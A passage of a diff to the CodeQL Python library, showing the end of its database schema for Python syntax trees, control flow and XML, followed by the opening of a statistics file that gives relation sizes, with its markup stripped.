3, bytes */ +/* Bytes.implicitly_concatenated_parts = 4, StringPart_list */ + +/* Call.location = 0, location */ +/* Call.parenthesised = 1, bool */ +/* Call.func = 2, expr */ +/* Call.positional_args = 3, expr_list */ +/* Call.named_args = 4, dict_item_list */ + +/* Class.name = 0, str */ +/* Class.body = 1, stmt_list */ +/* Class = ClassExpr */ + +/* ClassExpr.location = 0, location */ +/* ClassExpr.parenthesised = 1, bool */ +/* ClassExpr.name = 2, str */ +/* ClassExpr.bases = 3, expr_list */ +/* ClassExpr.keywords = 4, dict_item_list */ +/* ClassExpr.inner_scope = 5, Class */ + +/* Compare.location = 0, location */ +/* Compare.parenthesised = 1, bool */ +/* Compare.left = 2, expr */ +/* Compare.ops = 3, cmpop_list */ +/* Compare.comparators = 4, expr_list */ + +/* Continue.location = 0, location */ + +/* Delete.location = 0, location */ +/* Delete.targets = 1, expr_list */ + +/* Dict.location = 0, location */ +/* Dict.parenthesised = 1, bool */ +/* Dict.items = 2, dict_item_list */ + +/* DictComp.location = 0, location */ +/* DictComp.parenthesised = 1, bool */ +/* DictComp.function = 2, Function */ +/* DictComp.iterable = 3, expr */ + +/* DictUnpacking.location = 0, location */ +/* DictUnpacking.value = 1, expr */ + +/* Ellipsis.location = 0, location */ +/* Ellipsis.parenthesised = 1, bool */ + +/* ExceptStmt.location = 0, location */ +/* ExceptStmt.type = 1, expr */ +/* ExceptStmt.name = 2, expr */ +/* ExceptStmt.body = 3, stmt_list */ + +/* Exec.location = 0, location */ +/* Exec.body = 1, expr */ +/* Exec.globals = 2, expr */ +/* Exec.locals = 3, expr */ + +/* ExprStmt.location = 0, location */ +/* ExprStmt.value = 1, expr */ + +/* Filter.location = 0, location */ +/* Filter.parenthesised = 1, bool */ +/* Filter.value = 2, expr */ +/* Filter.filter = 3, expr */ + +/* For.location = 0, location */ +/* For.target = 1, expr */ +/* For.iter = 2, expr */ +/* For.body = 3, stmt_list */ +/* For.orelse = 4, stmt_list */ +/* For.is_async = 5, bool */ + +/* FormattedValue.location = 0, location */ +/* FormattedValue.parenthesised = 1, bool */ +/* FormattedValue.value = 2, expr */ +/* FormattedValue.conversion = 3, str */ +/* FormattedValue.format_spec = 4, JoinedStr */ + +/* Function.name = 0, str */ +/* Function.args = 1, parameter_list */ +/* Function.vararg = 2, expr */ +/* Function.kwonlyargs = 3, expr_list */ +/* Function.kwarg = 4, expr */ +/* Function.body = 5, stmt_list */ +/* Function.is_async = 6, bool */ +/* Function = FunctionParent */ + +/* FunctionExpr.location = 0, location */ +/* FunctionExpr.parenthesised = 1, bool */ +/* FunctionExpr.name = 2, str */ +/* FunctionExpr.args = 3, arguments */ +/* FunctionExpr.returns = 4, expr */ +/* FunctionExpr.inner_scope = 5, Function */ + +/* GeneratorExp.location = 0, location */ +/* GeneratorExp.parenthesised = 1, bool */ +/* GeneratorExp.function = 2, Function */ +/* GeneratorExp.iterable = 3, expr */ + +/* Global.location = 0, location */ +/* Global.names = 1, str_list */ + +/* If.location = 0, location */ +/* If.test = 1, expr */ +/* If.body = 2, stmt_list */ +/* If.orelse = 3, stmt_list */ + +/* IfExp.location = 0, location */ +/* IfExp.parenthesised = 1, bool */ +/* IfExp.test = 2, expr */ +/* IfExp.body = 3, expr */ +/* IfExp.orelse = 4, expr */ + +/* Import.location = 0, location */ +/* Import.names = 1, alias_list */ + +/* ImportExpr.location = 0, location */ +/* ImportExpr.parenthesised = 1, bool */ +/* ImportExpr.level = 2, int */ +/* ImportExpr.name = 3, str */ +/* ImportExpr.top = 4, bool */ + +/* ImportStar.location = 0, location */ +/* ImportStar.module = 1, expr */ + +/* ImportMember.location = 0, location */ +/* ImportMember.parenthesised = 1, bool */ +/* ImportMember.module = 2, expr */ +/* ImportMember.name = 3, str */ + +/* Fstring.location = 0, location */ +/* Fstring.parenthesised = 1, bool */ +/* Fstring.values = 2, expr_list */ +/* Fstring = FormattedValue */ + +/* KeyValuePair.location = 0, location */ +/* KeyValuePair.value = 1, expr */ +/* KeyValuePair.key = 2, expr */ + +/* Lambda.location = 0, location */ +/* Lambda.parenthesised = 1, bool */ +/* Lambda.args = 2, arguments */ +/* Lambda.inner_scope = 3, Function */ + +/* List.location = 0, location */ +/* List.parenthesised = 1, bool */ +/* List.elts = 2, expr_list */ +/* List.ctx = 3, expr_context */ + +/* ListComp.location = 0, location */ +/* ListComp.parenthesised = 1, bool */ +/* ListComp.function = 2, Function */ +/* ListComp.iterable = 3, expr */ +/* ListComp.generators = 4, comprehension_list */ +/* ListComp.elt = 5, expr */ + +/* Module.name = 0, str */ +/* Module.hash = 1, str */ +/* Module.body = 2, stmt_list */ +/* Module.kind = 3, str */ + +/* Name.location = 0, location */ +/* Name.parenthesised = 1, bool */ +/* Name.variable = 2, variable */ +/* Name.ctx = 3, expr_context */ +/* Name = ParameterList */ + +/* Nonlocal.location = 0, location */ +/* Nonlocal.names = 1, str_list */ + +/* Num.location = 0, location */ +/* Num.parenthesised = 1, bool */ +/* Num.n = 2, number */ +/* Num.text = 3, number */ + +/* Pass.location = 0, location */ + +/* PlaceHolder.location = 0, location */ +/* PlaceHolder.parenthesised = 1, bool */ +/* PlaceHolder.variable = 2, variable */ +/* PlaceHolder.ctx = 3, expr_context */ + +/* Print.location = 0, location */ +/* Print.dest = 1, expr */ +/* Print.values = 2, expr_list */ +/* Print.nl = 3, bool */ + +/* Raise.location = 0, location */ +/* Raise.exc = 1, expr */ +/* Raise.cause = 2, expr */ +/* Raise.type = 3, expr */ +/* Raise.inst = 4, expr */ +/* Raise.tback = 5, expr */ + +/* Repr.location = 0, location */ +/* Repr.parenthesised = 1, bool */ +/* Repr.value = 2, expr */ + +/* Return.location = 0, location */ +/* Return.value = 1, expr */ + +/* Set.location = 0, location */ +/* Set.parenthesised = 1, bool */ +/* Set.elts = 2, expr_list */ + +/* SetComp.location = 0, location */ +/* SetComp.parenthesised = 1, bool */ +/* SetComp.function = 2, Function */ +/* SetComp.iterable = 3, expr */ + +/* Slice.location = 0, location */ +/* Slice.parenthesised = 1, bool */ +/* Slice.start = 2, expr */ +/* Slice.stop = 3, expr */ +/* Slice.step = 4, expr */ + +/* Starred.location = 0, location */ +/* Starred.parenthesised = 1, bool */ +/* Starred.value = 2, expr */ +/* Starred.ctx = 3, expr_context */ + +/* Str.location = 0, location */ +/* Str.parenthesised = 1, bool */ +/* Str.s = 2, str */ +/* Str.prefix = 3, str */ +/* Str.implicitly_concatenated_parts = 4, StringPart_list */ + +/* StringPart.text = 0, str */ +/* StringPart.location = 1, location */ +/* StringPart = StringPartList */ +/* StringPartList = BytesOrStr */ + +/* Subscript.location = 0, location */ +/* Subscript.parenthesised = 1, bool */ +/* Subscript.value = 2, expr */ +/* Subscript.index = 3, expr */ +/* Subscript.ctx = 4, expr_context */ + +/* TemplateDottedNotation.location = 0, location */ +/* TemplateDottedNotation.parenthesised = 1, bool */ +/* TemplateDottedNotation.value = 2, expr */ +/* TemplateDottedNotation.attr = 3, str */ +/* TemplateDottedNotation.ctx = 4, expr_context */ + +/* TemplateWrite.location = 0, location */ +/* TemplateWrite.value = 1, expr */ + +/* Try.location = 0, location */ +/* Try.body = 1, stmt_list */ +/* Try.orelse = 2, stmt_list */ +/* Try.handlers = 3, stmt_list */ +/* Try.finalbody = 4, stmt_list */ + +/* Tuple.location = 0, location */ +/* Tuple.parenthesised = 1, bool */ +/* Tuple.elts = 2, expr_list */ +/* Tuple.ctx = 3, expr_context */ +/* Tuple = ParameterList */ + +/* UnaryExpr.location = 0, location */ +/* UnaryExpr.parenthesised = 1, bool */ +/* UnaryExpr.op = 2, unaryop */ +/* UnaryExpr.operand = 3, expr */ + +/* While.location = 0, location */ +/* While.test = 1, expr */ +/* While.body = 2, stmt_list */ +/* While.orelse = 3, stmt_list */ + +/* With.location = 0, location */ +/* With.context_expr = 1, expr */ +/* With.optional_vars = 2, expr */ +/* With.body = 3, stmt_list */ +/* With.is_async = 4, bool */ + +/* Yield.location = 0, location */ +/* Yield.parenthesised = 1, bool */ +/* Yield.value = 2, expr */ + +/* YieldFrom.location = 0, location */ +/* YieldFrom.parenthesised = 1, bool */ +/* YieldFrom.value = 2, expr */ + +/* Alias.value = 0, expr */ +/* Alias.asname = 1, expr */ +/* Alias = AliasList */ +/* AliasList = Import */ + +/* Arguments.kw_defaults = 0, expr_list */ +/* Arguments.defaults = 1, expr_list */ +/* Arguments.annotations = 2, expr_list */ +/* Arguments.varargannotation = 3, expr */ +/* Arguments.kwargannotation = 4, expr */ +/* Arguments.kw_annotations = 5, expr_list */ +/* Arguments = ArgumentsParent */ +/* boolean = BoolParent */ +/* Boolop = BoolExpr */ +/* string = Bytes */ +/* Cmpop = CmpopList */ +/* CmpopList = Compare */ + +/* Comprehension.location = 0, location */ +/* Comprehension.iter = 1, expr */ +/* Comprehension.target = 2, expr */ +/* Comprehension.ifs = 3, expr_list */ +/* Comprehension = ComprehensionList */ +/* ComprehensionList = ListComp */ +/* DictItem = DictItemList */ +/* DictItemList = DictItemListParent */ + +/* Expr.location = 0, location */ +/* Expr.parenthesised = 1, bool */ +/* Expr = ExprParent */ +/* ExprContext = ExprContextParent */ +/* ExprList = ExprListParent */ +/* int = ImportExpr */ + +/* Keyword.location = 0, location */ +/* Keyword.value = 1, expr */ +/* Keyword.arg = 2, str */ +/* Location = LocationParent */ +/* string = Num */ +/* Operator = BinaryExpr */ +/* ParameterList = Function */ + +/* Stmt.location = 0, location */ +/* Stmt = StmtList */ +/* StmtList = StmtListParent */ +/* string = StrParent */ +/* StringList = StrListParent */ +/* Unaryop = UnaryExpr */ +/* Variable = VariableParent */ +py_Classes(unique int id : @py_Class, + unique int parent : @py_ClassExpr ref); + +py_Functions(unique int id : @py_Function, + unique int parent : @py_Function_parent ref); + +py_Modules(unique int id : @py_Module); + +py_StringParts(unique int id : @py_StringPart, + int parent : @py_StringPart_list ref, + int idx : int ref); + +py_StringPart_lists(unique int id : @py_StringPart_list, + unique int parent : @py_Bytes_or_Str ref); + +py_aliases(unique int id : @py_alias, + int parent : @py_alias_list ref, + int idx : int ref); + +py_alias_lists(unique int id : @py_alias_list, + unique int parent : @py_Import ref); + +py_arguments(unique int id : @py_arguments, + unique int parent : @py_arguments_parent ref); + +py_bools(int parent : @py_bool_parent ref, + int idx : int ref); + +py_boolops(unique int id : @py_boolop, + int kind: int ref, + unique int parent : @py_BoolExpr ref); + +py_bytes(varchar(1) id : string ref, + int parent : @py_Bytes ref, + int idx : int ref); + +py_cmpops(unique int id : @py_cmpop, + int kind: int ref, + int parent : @py_cmpop_list ref, + int idx : int ref); + +py_cmpop_lists(unique int id : @py_cmpop_list, + unique int parent : @py_Compare ref); + +py_comprehensions(unique int id : @py_comprehension, + int parent : @py_comprehension_list ref, + int idx : int ref); + +py_comprehension_lists(unique int id : @py_comprehension_list, + unique int parent : @py_ListComp ref); + +py_dict_items(unique int id : @py_dict_item, + int kind: int ref, + int parent : @py_dict_item_list ref, + int idx : int ref); + +py_dict_item_lists(unique int id : @py_dict_item_list, + unique int parent : @py_dict_item_list_parent ref); + +py_exprs(unique int id : @py_expr, + int kind: int ref, + int parent : @py_expr_parent ref, + int idx : int ref); + +py_expr_contexts(unique int id : @py_expr_context, + int kind: int ref, + unique int parent : @py_expr_context_parent ref); + +py_expr_lists(unique int id : @py_expr_list, + int parent : @py_expr_list_parent ref, + int idx : int ref); + +py_ints(int id : int ref, + unique int parent : @py_ImportExpr ref); + +py_locations(unique int id : @location ref, + unique int parent : @py_location_parent ref); + +py_numbers(varchar(1) id : string ref, + int parent : @py_Num ref, + int idx : int ref); + +py_operators(unique int id : @py_operator, + int kind: int ref, + unique int parent : @py_BinaryExpr ref); + +py_parameter_lists(unique int id : @py_parameter_list, + unique int parent : @py_Function ref); + +py_stmts(unique int id : @py_stmt, + int kind: int ref, + int parent : @py_stmt_list ref, + int idx : int ref); + +py_stmt_lists(unique int id : @py_stmt_list, + int parent : @py_stmt_list_parent ref, + int idx : int ref); + +py_strs(varchar(1) id : string ref, + int parent : @py_str_parent ref, + int idx : int ref); + +py_str_lists(unique int id : @py_str_list, + unique int parent : @py_str_list_parent ref); + +py_unaryops(unique int id : @py_unaryop, + int kind: int ref, + unique int parent : @py_UnaryExpr ref); + +py_variables(int id : @py_variable ref, + unique int parent : @py_variable_parent ref); + +case @py_boolop.kind of + 0 = @py_And +| 1 = @py_Or; + +case @py_cmpop.kind of + 0 = @py_Eq +| 1 = @py_Gt +| 2 = @py_GtE +| 3 = @py_In +| 4 = @py_Is +| 5 = @py_IsNot +| 6 = @py_Lt +| 7 = @py_LtE +| 8 = @py_NotEq +| 9 = @py_NotIn; + +case @py_dict_item.kind of + 0 = @py_DictUnpacking +| 1 = @py_KeyValuePair +| 2 = @py_keyword; + +case @py_expr.kind of + 0 = @py_Attribute +| 1 = @py_BinaryExpr +| 2 = @py_BoolExpr +| 3 = @py_Bytes +| 4 = @py_Call +| 5 = @py_ClassExpr +| 6 = @py_Compare +| 7 = @py_Dict +| 8 = @py_DictComp +| 9 = @py_Ellipsis +| 10 = @py_FunctionExpr +| 11 = @py_GeneratorExp +| 12 = @py_IfExp +| 13 = @py_ImportExpr +| 14 = @py_ImportMember +| 15 = @py_Lambda +| 16 = @py_List +| 17 = @py_ListComp +| 18 = @py_Name +| 19 = @py_Num +| 20 = @py_Repr +| 21 = @py_Set +| 22 = @py_SetComp +| 23 = @py_Slice +| 24 = @py_Starred +| 25 = @py_Str +| 26 = @py_Subscript +| 27 = @py_Tuple +| 28 = @py_UnaryExpr +| 29 = @py_Yield +| 30 = @py_YieldFrom +| 31 = @py_TemplateDottedNotation +| 32 = @py_Filter +| 33 = @py_PlaceHolder +| 34 = @py_Await +| 35 = @py_Fstring +| 36 = @py_FormattedValue +| 37 = @py_AssignExpr; + +case @py_expr_context.kind of + 0 = @py_AugLoad +| 1 = @py_AugStore +| 2 = @py_Del +| 3 = @py_Load +| 4 = @py_Param +| 5 = @py_Store; + +case @py_operator.kind of + 0 = @py_Add +| 1 = @py_BitAnd +| 2 = @py_BitOr +| 3 = @py_BitXor +| 4 = @py_Div +| 5 = @py_FloorDiv +| 6 = @py_LShift +| 7 = @py_Mod +| 8 = @py_Mult +| 9 = @py_Pow +| 10 = @py_RShift +| 11 = @py_Sub +| 12 = @py_MatMult; + +case @py_stmt.kind of + 0 = @py_Assert +| 1 = @py_Assign +| 2 = @py_AugAssign +| 3 = @py_Break +| 4 = @py_Continue +| 5 = @py_Delete +| 6 = @py_ExceptStmt +| 7 = @py_Exec +| 8 = @py_Expr_stmt +| 9 = @py_For +| 10 = @py_Global +| 11 = @py_If +| 12 = @py_Import +| 13 = @py_ImportStar +| 14 = @py_Nonlocal +| 15 = @py_Pass +| 16 = @py_Print +| 17 = @py_Raise +| 18 = @py_Return +| 19 = @py_Try +| 20 = @py_While +| 21 = @py_With +| 22 = @py_TemplateWrite +| 23 = @py_AnnAssign; + +case @py_unaryop.kind of + 0 = @py_Invert +| 1 = @py_Not +| 2 = @py_UAdd +| 3 = @py_USub; + +@py_Bytes_or_Str = @py_Bytes | @py_Str; + +@py_Function_parent = @py_DictComp | @py_FunctionExpr | @py_GeneratorExp | @py_Lambda | @py_ListComp | @py_SetComp; + +@py_arguments_parent = @py_FunctionExpr | @py_Lambda; + +@py_ast_node = @py_Class | @py_Function | @py_Module | @py_StringPart | @py_comprehension | @py_dict_item | @py_expr | @py_stmt; + +@py_bool_parent = @py_For | @py_Function | @py_Print | @py_With | @py_expr; + +@py_dict_item_list_parent = @py_Call | @py_ClassExpr | @py_Dict; + +@py_expr_context_parent = @py_Attribute | @py_List | @py_Name | @py_PlaceHolder | @py_Starred | @py_Subscript | @py_TemplateDottedNotation | @py_Tuple; + +@py_expr_list_parent = @py_Assign | @py_BoolExpr | @py_Call | @py_ClassExpr | @py_Compare | @py_Delete | @py_Fstring | @py_Function | @py_List | @py_Print | @py_Set | @py_Tuple | @py_arguments | @py_comprehension; + +@py_expr_or_stmt = @py_expr | @py_stmt; + +@py_expr_parent = @py_AnnAssign | @py_Assert | @py_Assign | @py_AssignExpr | @py_Attribute | @py_AugAssign | @py_Await | @py_BinaryExpr | @py_Call | @py_Compare | @py_DictComp | @py_DictUnpacking | @py_ExceptStmt | @py_Exec | @py_Expr_stmt | @py_Filter | @py_For | @py_FormattedValue | @py_Function | @py_FunctionExpr | @py_GeneratorExp | @py_If | @py_IfExp | @py_ImportMember | @py_ImportStar | @py_KeyValuePair | @py_ListComp | @py_Print | @py_Raise | @py_Repr | @py_Return | @py_SetComp | @py_Slice | @py_Starred | @py_Subscript | @py_TemplateDottedNotation | @py_TemplateWrite | @py_UnaryExpr | @py_While | @py_With | @py_Yield | @py_YieldFrom | @py_alias | @py_arguments | @py_comprehension | @py_expr_list | @py_keyword | @py_parameter_list; + +@py_location_parent = @py_DictUnpacking | @py_KeyValuePair | @py_StringPart | @py_comprehension | @py_expr | @py_keyword | @py_stmt; + +@py_parameter = @py_Name | @py_Tuple; + +@py_scope = @py_Class | @py_Function | @py_Module; + +@py_stmt_list_parent = @py_Class | @py_ExceptStmt | @py_For | @py_Function | @py_If | @py_Module | @py_Try | @py_While | @py_With; + +@py_str_list_parent = @py_Global | @py_Nonlocal; + +@py_str_parent = @py_Attribute | @py_Class | @py_ClassExpr | @py_FormattedValue | @py_Function | @py_FunctionExpr | @py_ImportExpr | @py_ImportMember | @py_Module | @py_Str | @py_StringPart | @py_TemplateDottedNotation | @py_keyword | @py_str_list; + +@py_variable_parent = @py_Name | @py_PlaceHolder; + + +/* + * End of auto-generated part + */ + + + +/* Map relative names to absolute names for imports */ +py_absolute_names(int module : @py_Module ref, + varchar(1) relname : string ref, + varchar(1) absname : string ref); + +py_exports(int id : @py_Module ref, + varchar(1) name : string ref); + +/* Successor information */ +py_successors(int predecessor : @py_flow_node ref, + int successor : @py_flow_node ref); + +py_true_successors(int predecessor : @py_flow_node ref, + int successor : @py_flow_node ref); + +py_exception_successors(int predecessor : @py_flow_node ref, + int successor : @py_flow_node ref); + +py_false_successors(int predecessor : @py_flow_node ref, + int successor : @py_flow_node ref); + +py_flow_bb_node(unique int flownode : @py_flow_node, + int realnode : @py_ast_node ref, + int basicblock : @py_flow_node ref, + int index : int ref); + +py_scope_flow(int flow : @py_flow_node ref, + int scope : @py_scope ref, + int kind : int ref); + +py_idoms(unique int node : @py_flow_node ref, + int immediate_dominator : @py_flow_node ref); + +py_ssa_phi(int phi : @py_ssa_var ref, + int arg: @py_ssa_var ref); + +py_ssa_var(unique int id : @py_ssa_var, + int var : @py_variable ref); + +py_ssa_use(int node: @py_flow_node ref, + int var : @py_ssa_var ref); + +py_ssa_defn(unique int id : @py_ssa_var ref, + int node: @py_flow_node ref); + +@py_base_var = @py_variable | @py_ssa_var; + +py_scopes(unique int node : @py_expr_or_stmt ref, + int scope : @py_scope ref); + +py_scope_location(unique int id : @location ref, + unique int scope : @py_scope ref); + +py_flags_versioned(varchar(1) name : string ref, + varchar(1) value : string ref, + varchar(1) version : string ref); + +py_syntax_error_versioned(unique int id : @location ref, + varchar(1) message : string ref, + varchar(1) version : string ref); + +py_comments(unique int id : @py_comment, + varchar(1) text : string ref, + unique int location : @location ref); + +/* Type information support */ + +py_cobjects(unique int obj : @py_cobject); + +py_cobjecttypes(unique int obj : @py_cobject ref, + int typeof : @py_cobject ref); + +py_cobjectnames(unique int obj : @py_cobject ref, + varchar(1) name : string ref); + +/* Kind should be 0 for introspection, > 0 from source, as follows: + 1 from C extension source + */ +py_cobject_sources(int obj : @py_cobject ref, + int kind : int ref); + +py_cmembers_versioned(int object : @py_cobject ref, + varchar(1) name : string ref, + int member : @py_cobject ref, + varchar(1) version : string ref); + +py_citems(int object : @py_cobject ref, + int index : int ref, + int member : @py_cobject ref); + +ext_argtype(int funcid : @py_object ref, + int arg : int ref, + int typeid : @py_object ref); + +ext_rettype(int funcid : @py_object ref, + int typeid : @py_object ref); + +ext_proptype(int propid : @py_object ref, + int typeid : @py_object ref); + +ext_argreturn(int funcid : @py_object ref, + int arg : int ref); + +py_special_objects(unique int obj : @py_cobject ref, + unique varchar(1) name : string ref); + +py_decorated_object(int object : @py_object ref, + int level: int ref); + +@py_object = @py_cobject | @py_flow_node; + +@py_source_element = @py_ast_node | @container; + +/* XML Files */ + +xmlEncoding (unique int id: @file ref, varchar(900) encoding: string ref); + +xmlDTDs (unique int id: @xmldtd, + varchar(900) root: string ref, + varchar(900) publicId: string ref, + varchar(900) systemId: string ref, + int fileid: @file ref); + +xmlElements (unique int id: @xmlelement, + varchar(900) name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs (unique int id: @xmlattribute, + int elementid: @xmlelement ref, + varchar(900) name: string ref, + varchar(3600) value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs (int id: @xmlnamespace, + varchar(900) prefixName: string ref, + varchar(900) URI: string ref, + int fileid: @file ref); + +xmlHasNs (int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments (unique int id: @xmlcomment, + varchar(3600) text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars (unique int id: @xmlcharacters, + varchar(3600) text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations(int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; diff --git a/python/ql/src/semmlecode.python.dbscheme.stats b/python/ql/src/semmlecode.python.dbscheme.stats new file mode 100644 index 00000000000..a8a501f7660 --- /dev/null +++ b/python/ql/src/semmlecode.python.dbscheme.stats @@ -0,0 +1,17472 @@ + + +@externalDefect +100 + + +@externalMetric +100 + + +@externalDataElement +20 + + +@duplication +890 + + +@similarity +5591 + + +@svnentry +100 + + +@file +3066 + + +@folder +686 + + +@location_default +100 + + +@location_ast +2310679 + + +@py_variable +242770 + + +@py_line +100 + + +@py_Class +10244 + + +@py_Function +44860 + + +@py_Module +5983 + + +@py_StringPart +6399 + + +@py_StringPart_list +2296 + + +@py_alias +21374 + + +@py_alias_list +14396 + + +@py_arguments +41982 + + +@py_boolop +10907 + + +@py_And +7243 + + +@py_Or +3663 + + +@py_cmpop +38007 + + +@py_Eq +11370 + + +@py_Gt +1999 + + +@py_GtE +1306 + + +@py_In +4743 + + +@py_Is +6368 + + +@py_IsNot +4541 + + +@py_Lt +1920 + + +@py_LtE +1128 + + +@py_NotEq +3050 + + +@py_NotIn +1672 + + +@py_cmpop_list +37666 + + +@py_comprehension +1688 + + +@py_comprehension_list +1682 + + +@py_dict_item +167901 + + +@py_DictUnpacking +1521 + + +@py_KeyValuePair +92837 + + +@py_keyword +74612 + + +@py_dict_item_list +33758 + + +@py_expr +1684031 + + +@py_Attribute +249565 + + +@py_BinaryExpr +28868 + + +@py_BoolExpr +10907 + + +@py_Bytes +105600 + + +@py_Call +198138 + + +@py_ClassExpr +10244 + + +@py_Compare +37666 + + +@py_Dict +9635 + + +@py_DictComp +99 + + +@py_Ellipsis +115 + + +@py_Fstring +100 + + +@py_FormattedValue +100 + + +@py_FunctionExpr +41531 + + +@py_GeneratorExp +1066 + + +@py_IfExp +923 + + +@py_ImportExpr +21532 + + +@py_ImportMember +17714 + + +@py_Lambda +870 + + +@py_List +23200 + + +@py_ListComp +1690 + + +@py_Name +845963 + + +@py_Num +58723 + + +@py_Set +261 + + +@py_SetComp +49 + + +@py_Slice +5316 + + +@py_Starred +1265 + + +@py_Str +288427 + + +@py_Subscript +31583 + + +@py_Tuple +27693 + + +@py_UnaryExpr +13295 + + +@py_Yield +3941 + + +@py_YieldFrom +398 + + +@py_Repr +100 + + +@py_TemplateDottedNotation +100 + + +@py_Filter +100 + + +@py_PlaceHolder +100 + + +@py_Await +500 + + +@py_AssignExpr +200 + + +@py_expr_context +1140675 + + +@py_Del +1324 + + +@py_Load +853094 + + +@py_Param +96047 + + +@py_Store +198700 + + +@py_AugLoad +100 + + +@py_AugStore +100 + + +@py_expr_list +430986 + + +@py_operator +28868 + + +@py_Add +13603 + + +@py_BitAnd +796 + + +@py_BitOr +799 + + +@py_BitXor +190 + + +@py_Div +393 + + +@py_FloorDiv +362 + + +@py_LShift +279 + + +@py_Mod +8234 + + +@py_Mult +2218 + + +@py_Pow +501 + + +@py_RShift +157 + + +@py_Sub +3136 + + +@py_MatMult +100 + + +@py_parameter_list +43271 + + +@py_stmt +372643 + + +@py_Assert +1999 + + +@py_Assign +151576 + + +@py_AugAssign +3656 + + +@py_Break +1699 + + +@py_Continue +1199 + + +@py_Delete +1149 + + +@py_ExceptStmt +5610 + + +@py_Expr_stmt +76750 + + +@py_For +11495 + + +@py_Global +392 + + +@py_If +53619 + + +@py_Import +14396 + + +@py_ImportStar +158 + + +@py_Nonlocal +35 + + +@py_Pass +2872 + + +@py_Raise +7794 + + +@py_Return +36127 + + +@py_Try +6210 + + +@py_While +2138 + + +@py_With +4193 + + +@py_Exec +43 + + +@py_Print +1032 + + +@py_TemplateWrite +100 + + +@py_AnnAssign +100 + + +@py_stmt_list +156700 + + +@py_str_list +427 + + +@py_unaryop +13295 + + +@py_Invert +107 + + +@py_Not +8655 + + +@py_UAdd +14 + + +@py_USub +4565 + + +@py_flow_node +2323431 + + +@py_ssa_var +272292 + + +@py_comment +77830 + + +@py_cobject +112856 + + +@xmldtd +100 + + +@xmlelement +100 + + +@xmlattribute +100 + + +@xmlnamespace +100 + + +@xmlcomment +100 + + +@xmlcharacters +100 + + + +externalDefects +100 + + +id +100 + + +queryPath +100 + + +location +100 + + +message +100 + + +severity +100 + + + + +id +queryPath + + +12 + + +1 +2 +2 + + + + + + +id +location + + +12 + + +1 +2 +2 + + + + + + +id +message + + +12 + + +1 +2 +2 + + + + + + +id +severity + + +12 + + +1 +2 +2 + + + + + + +queryPath +id + + +12 + + + + + +queryPath +location + + +12 + + + + + +queryPath +message + + +12 + + + + + +queryPath +severity + + +12 + + + + + +location +id + + +12 + + + + + +location +queryPath + + +12 + + + + + +location +message + + +12 + + + + + +location +severity + + +12 + + + + + +message +id + + +12 + + + + + +message +queryPath + + +12 + + + + + +message +location + + +12 + + + + + +message +severity + + +12 + + + + + +severity +id + + +12 + + + + + +severity +queryPath + + +12 + + + + + +severity +location + + +12 + + + + + +severity +message + + +12 + + + + + + + +externalMetrics +100 + + +id +100 + + +queryPath +100 + + +location +100 + + +value +100 + + + + +id +queryPath + + +12 + + +1 +2 +1 + + + + + + +id +location + + +12 + + +1 +2 +1 + + + + + + +id +value + + +12 + + +1 +2 +1 + + + + + + +queryPath +id + + +12 + + + + + +queryPath +location + + +12 + + + + + +queryPath +value + + +12 + + + + + +location +id + + +12 + + + + + +location +queryPath + + +12 + + + + + +location +value + + +12 + + + + + +value +id + + +12 + + + + + +value +queryPath + + +12 + + + + + +value +location + + +12 + + + + + + + +externalData +41 + + +id +20 + + +queryPath +2 + + +column +5 + + +data +41 + + + + +id +queryPath + + +12 + + +1 +2 +20 + + + + + + +id +column + + +12 + + +2 +3 +20 + + + + + + +id +data + + +12 + + +2 +3 +20 + + + + + + +queryPath +id + + +12 + + +7 +8 +2 + + + + + + +queryPath +column + + +12 + + +2 +3 +2 + + + + + + +queryPath +data + + +12 + + +14 +15 +2 + + + + + + +column +id + + +12 + + +7 +8 +5 + + + + + + +column +queryPath + + +12 + + +1 +2 +5 + + + + + + +column +data + + +12 + + +7 +8 +5 + + + + + + +data +id + + +12 + + +1 +2 +41 + + + + + + +data +queryPath + + +12 + + +1 +2 +41 + + + + + + +data +column + + +12 + + +1 +2 +41 + + + + + + + + +snapshotDate +2 + + +snapshotDate +2 + + + + + +sourceLocationPrefix +2 + + +prefix +2 + + + + + +duplicateCode +890 + + +id +890 + + +relativePath +91 + + +equivClass +415 + + + + +id +relativePath + + +12 + + +1 +2 +890 + + + + + + +id +equivClass + + +12 + + +1 +2 +890 + + + + + + +relativePath +id + + +12 + + +1 +2 +30 + + +2 +3 +16 + + +3 +4 +4 + + +4 +5 +8 + + +6 +8 +6 + + +8 +12 +6 + + +12 +19 +6 + + +23 +47 +6 + + +48 +109 +4 + + + + + + +relativePath +equivClass + + +12 + + +1 +2 +38 + + +2 +3 +12 + + +3 +4 +6 + + +4 +5 +8 + + +6 +10 +8 + + +10 +15 +6 + + +15 +46 +6 + + +92 +105 +2 + + + + + + +equivClass +id + + +12 + + +2 +3 +371 + + +3 +4 +31 + + +4 +7 +12 + + + + + + +equivClass +relativePath + + +12 + + +1 +2 +95 + + +2 +3 +288 + + +3 +5 +31 + + + + + + + + +similarCode +5591 + + +id +5591 + + +relativePath +347 + + +equivClass +1696 + + + + +id +relativePath + + +12 + + +1 +2 +5591 + + + + + + +id +equivClass + + +12 + + +1 +2 +5591 + + + + + + +relativePath +id + + +12 + + +1 +2 +44 + + +2 +3 +33 + + +3 +5 +31 + + +5 +7 +30 + + +7 +9 +18 + + +9 +11 +26 + + +11 +13 +26 + + +13 +18 +29 + + +18 +23 +29 + + +23 +30 +24 + + +30 +42 +26 + + +45 +155 +26 + + +161 +162 +1 + + + + + + +relativePath +equivClass + + +12 + + +1 +2 +66 + + +2 +3 +19 + + +3 +4 +20 + + +4 +5 +18 + + +5 +6 +18 + + +6 +8 +27 + + +8 +10 +30 + + +10 +13 +26 + + +13 +18 +26 + + +18 +23 +26 + + +23 +31 +31 + + +31 +53 +26 + + +54 +145 +9 + + + + + + +equivClass +id + + +12 + + +2 +3 +937 + + +3 +4 +260 + + +4 +5 +166 + + +5 +6 +88 + + +6 